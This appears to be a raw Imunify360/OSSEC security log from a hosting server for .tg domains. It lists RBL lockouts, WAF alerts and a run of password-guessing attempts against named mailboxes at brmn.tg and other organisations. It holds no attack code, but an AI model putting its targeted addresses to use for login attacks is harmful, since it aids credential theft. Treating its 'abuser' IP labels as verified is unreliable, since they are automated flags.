Jun 23 22:25:38 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.0.148.204
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/5544 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:27:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.201.232.211
country_id: 1269750
description:
Jun 23 22:26:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.201.232.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-06-23 22:26:52 dovecot_login authenticator failed for H=([71.12.42.216]) [106.201.232.211]:33280: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.217.148
country_id: 2363686
description:
2026-06-23 22:27:04 dovecot_login authenticator failed for H=(LAPTOPAJEO7VMM) [102.64.217.148]:53288: 535 Incorrect authentication data (set_id=tete.doumashie@nps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 23 22:28:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.136.180.139
country_id: 1814991
description:
Jun 23 22:28:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.136.180.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.103
country_id: 6252001
description:
Jun 23 22:28:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.193.198
country_id: 1814991
description:
Jun 23 22:28:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.193.198 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.66.147.152
country_id: 953987
description:
102.66.147.152 - - [23/Jun/2026:22:29:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117210&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F16836&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782253795 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/wp/v2/posts/16836" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.66.147.152


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 79.127.144.148
country_id: 3202326
domain: brmn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:79.127.144.148||TA:79.127.144.148||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 23 22:31:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.160.153.158
country_id: 1269750
description:
Jun 23 22:30:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.160.153.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 23 22:30:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:31:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 200.83.231.50
country_id: 3895114
description:
200.83.231.50 - - [23/Jun/2026:22:31:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999767&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-241048qitems%252Fetidm31ck.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782253896 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-241048qitems/etidm31ck.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:200.83.231.50


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.91.58.39
country_id: 1814991
description:
Jun 23 22:32:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.91.58.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 22:33:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 207.102.138.19
country_id: 6251999
description:
207.102.138.19 - - [23/Jun/2026:22:33:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21664900 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:207.102.138.19


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.107.117.106
country_id: 1814991
description:
Jun 23 22:34:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.107.117.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.224.26.47
country_id: 2921044
description:
Jun 23 22:34:35 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.224.26.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 132.232.194.157
country_id: 1814991
description:
Jun 23 22:34:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 132.232.194.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.78.158.30
country_id: 1835841
description:
Jun 23 22:35:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.78.158.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.133.32.159
country_id: 1880251
description:
Jun 23 22:36:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.133.32.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.168.71.135
country_id: 798544
description:
Jun 23 22:36:50 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.168.71.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.190.136
country_id: 2635167
description:
Jun 23 22:36:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.190.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 22:37:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:37:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jun 23 22:37:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 23 22:38:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.218.11.52
country_id: 1819730
description:
Jun 23 22:39:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.218.11.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.88.189.90
country_id: 3017382
description:
Jun 23 22:40:21 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.88.189.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.97.5
country_id: 1814991
description:
Jun 23 22:40:52 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.51.97.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.175.32
country_id: 3017382
description:
Jun 23 22:41:12 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.175.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.117.105.7
country_id: 1814991
description:
Jun 23 22:42:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.117.105.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.246.252
country_id: 1814991
description:
Jun 23 22:43:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.246.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 23 22:43:15 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.74.33
country_id: 2623032
description:
158.173.74.33 - - [23/Jun/2026:22:44:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935047&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782254639 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.33


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.40
country_id: 690791
description:
Jun 23 22:43:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.10.37.168
country_id: 1643084
description:
Jun 23 22:45:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.10.37.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.76.189.163
country_id: 1819730
description:
Jun 23 22:46:06 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.76.189.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.76.189.163
country_id: 1819730
description:
2026-06-23 22:46:08 dovecot_plain authenticator failed for H=(g8n6161u85iyhdcr) [47.76.189.163]:55428: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.79.248.156
country_id: 192950
description:
2026-06-23 22:47:02 dovecot_login authenticator failed for H=(zmssUG) [154.79.248.156]:54128: 535 Incorrect authentication data (set_id=kitantoine@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.225.52.111
country_id: 290557
description:
Jun 23 22:47:10 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.225.52.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.79.248.156
country_id: 192950
description:
Jun 23 22:47:00 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.79.248.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:47:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jun 23 22:48:09 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.172.26.69
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/8beb68fcdbf9b0e9c01ba146dbbddb40_L-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/8beb68fcdbf9b0e9c01ba146dbbddb40_L.webp 500w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun 23 22:48:18 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jun 23 22:49:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.248.211.1
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/701428843 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 23 22:50:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:51:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.103
country_id: 6252001
description:
Jun 23 22:51:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.185.69.236
country_id: 3469034
description:
2026-06-23 22:52:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [138.185.69.236]:40133: 535 Incorrect authentication data (set_id=info@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.26.84.28
country_id: 3439705
description:
2026-06-23 22:52:59 dovecot_plain authenticator failed for H=([69.172.210.47]) [179.26.84.28]:58076: 535 Incorrect authentication data (set_id=admin@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.192.33.75
country_id: 1605651
description:
2026-06-23 22:53:16 dovecot_plain authenticator failed for H=([69.172.210.47]) [159.192.33.75]:33916: 535 Incorrect authentication data (set_id=support@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.56.167.42
country_id: 6252001
description:
2026-06-23 22:53:50 dovecot_plain authenticator failed for H=([69.172.210.47]) [172.56.167.42]:31640: 535 Incorrect authentication data (set_id=contact@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.60.74.202
country_id: 3895114
description:
2026-06-23 22:54:07 dovecot_plain authenticator failed for H=([69.172.210.47]) [179.60.74.202]:25410: 535 Incorrect authentication data (set_id=contato@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.19.49.138
country_id: 3865483
description:
2026-06-23 22:54:24 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.19.49.138]:35280: 535 Incorrect authentication data (set_id=contacto@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.39.35.63
country_id: 285570
description:
2026-06-23 22:53:33 dovecot_plain authenticator failed for H=([69.172.210.47]) [37.39.35.63]:45412: 535 Incorrect authentication data (set_id=marketing@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.46.160.87
country_id: 3865483
description:
2026-06-23 22:55:11 dovecot_plain authenticator failed for H=([69.172.210.47]) [181.46.160.87]:46657: 535 Incorrect authentication data (set_id=it@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.51.244.65
country_id: 3686110
description:
2026-06-23 22:54:39 dovecot_plain authenticator failed for H=([69.172.210.47]) [38.51.244.65]:60026: 535 Incorrect authentication data (set_id=financeiro@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.97.237.251
country_id: 3625428
description:
2026-06-23 22:54:54 dovecot_plain authenticator failed for H=([69.172.210.47]) [190.97.237.251]:44697: 535 Incorrect authentication data (set_id=comercial@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.19.49.138
country_id: 3865483
description:
2026-06-23 22:54:31 dovecot_login authenticator failed for H=([69.172.210.47]) [186.19.49.138]:35280: 535 Incorrect authentication data (set_id=contacto@brmn.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.144.190.193
country_id: 6252001
domain: www.web.dankpen1.mairie.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.91.58.39
country_id: 1814991
description:
Jun 23 22:54:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.91.58.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.24.28.186
country_id: 1562822
description:
2026-06-23 22:55:50 dovecot_plain authenticator failed for H=([69.172.210.47]) [123.24.28.186]:59160: 535 Incorrect authentication data (set_id=suporte@brmn.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.107.117.106
country_id: 1814991
description:
Jun 23 22:55:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.107.117.106 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.74.33
country_id: 2623032
description:
158.173.74.33 - - [23/Jun/2026:22:56:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116914&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782255360 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/e4/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.33


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.51.97.78
country_id: 3686110
description:
2026-06-23 22:56:07 dovecot_plain authenticator failed for H=([69.172.210.47]) [179.51.97.78]:48400: 535 Incorrect authentication data (set_id=hr@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.97.96.170
country_id: 3865483
description:
2026-06-23 22:55:28 dovecot_plain authenticator failed for H=([69.172.210.47]) [191.97.96.170]:35582: 535 Incorrect authentication data (set_id=accounts@brmn.tg)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 158.173.74.33
country_id: 2623032
description:
158.173.74.33 - - [23/Jun/2026:22:56:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 www.snb.tg "https://www.snb.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935047&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782254639" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.33


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 134.209.190.136
country_id: 2635167
description:
Jun 23 22:56:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 134.209.190.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.93.3.208
country_id: 2750405
description:
2026-06-23 22:56:42 dovecot_plain authenticator failed for H=e3208.upc-e.chello.nl ([69.172.210.47]) [213.93.3.208]:34228: 535 Incorrect authentication data (set_id=ventas@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.51.81.18
country_id: 2635167
description:
2026-06-23 22:56:59 dovecot_plain authenticator failed for H=([69.172.210.47]) [154.51.81.18]:14502: 535 Incorrect authentication data (set_id=clients@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.160.227.174
country_id: 690791
description:
2026-06-23 22:56:28 dovecot_plain authenticator failed for H=([69.172.210.47]) [193.160.227.174]:52734: 535 Incorrect authentication data (set_id=soporte@brmn.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.211.95.118
country_id: 6252001
description:
2026-06-23 22:57:13 dovecot_plain authenticator failed for H=([69.172.210.47]) [24.211.95.118]:54392: 535 Incorrect authentication data (set_id=info@brmn.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.77.65.36
country_id: 2921044
description:
Jun 23 22:57:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.77.65.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.115.172.35
country_id: 3923057
description:
181.115.172.35 - - [23/Jun/2026:22:57:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870539&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-100648qitems%252Fetidm22ck.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782255418 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-100648qitems/etidm22ck.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.115.172.35


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 158.173.74.33
country_id: 2623032
description:
158.173.74.33 - - [23/Jun/2026:22:56:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935047&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782254639 HTTP/2.0" 404 159 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.33


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.252.100.51
country_id: 6252001
description:
Jun 23 22:58:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.252.100.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 23 22:59:17 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jun 23 22:59:25 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jun 23 22:59:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.88.189.90
country_id: 3017382
description:
Jun 23 23:00:16 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.88.189.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.157
country_id: 130758
description:
Jun 23 23:00:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.147.120
country_id: 3469034
description:
Jun 23 23:00:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.147.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 132.232.194.157
country_id: 1814991
description:
Jun 23 23:01:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 132.232.194.157 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 158.173.74.33
country_id: 2623032
description:
158.173.74.33 - - [23/Jun/2026:23:02:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116914&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782255360 HTTP/2.0" 404 159 misstogo.tg "https://misstogo.tg/e4/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.33


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 23:02:36 +0000] info [cpaneld] 13.222.202.238 - mpqypjjp "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 158.173.74.33
country_id: 2623032
description:
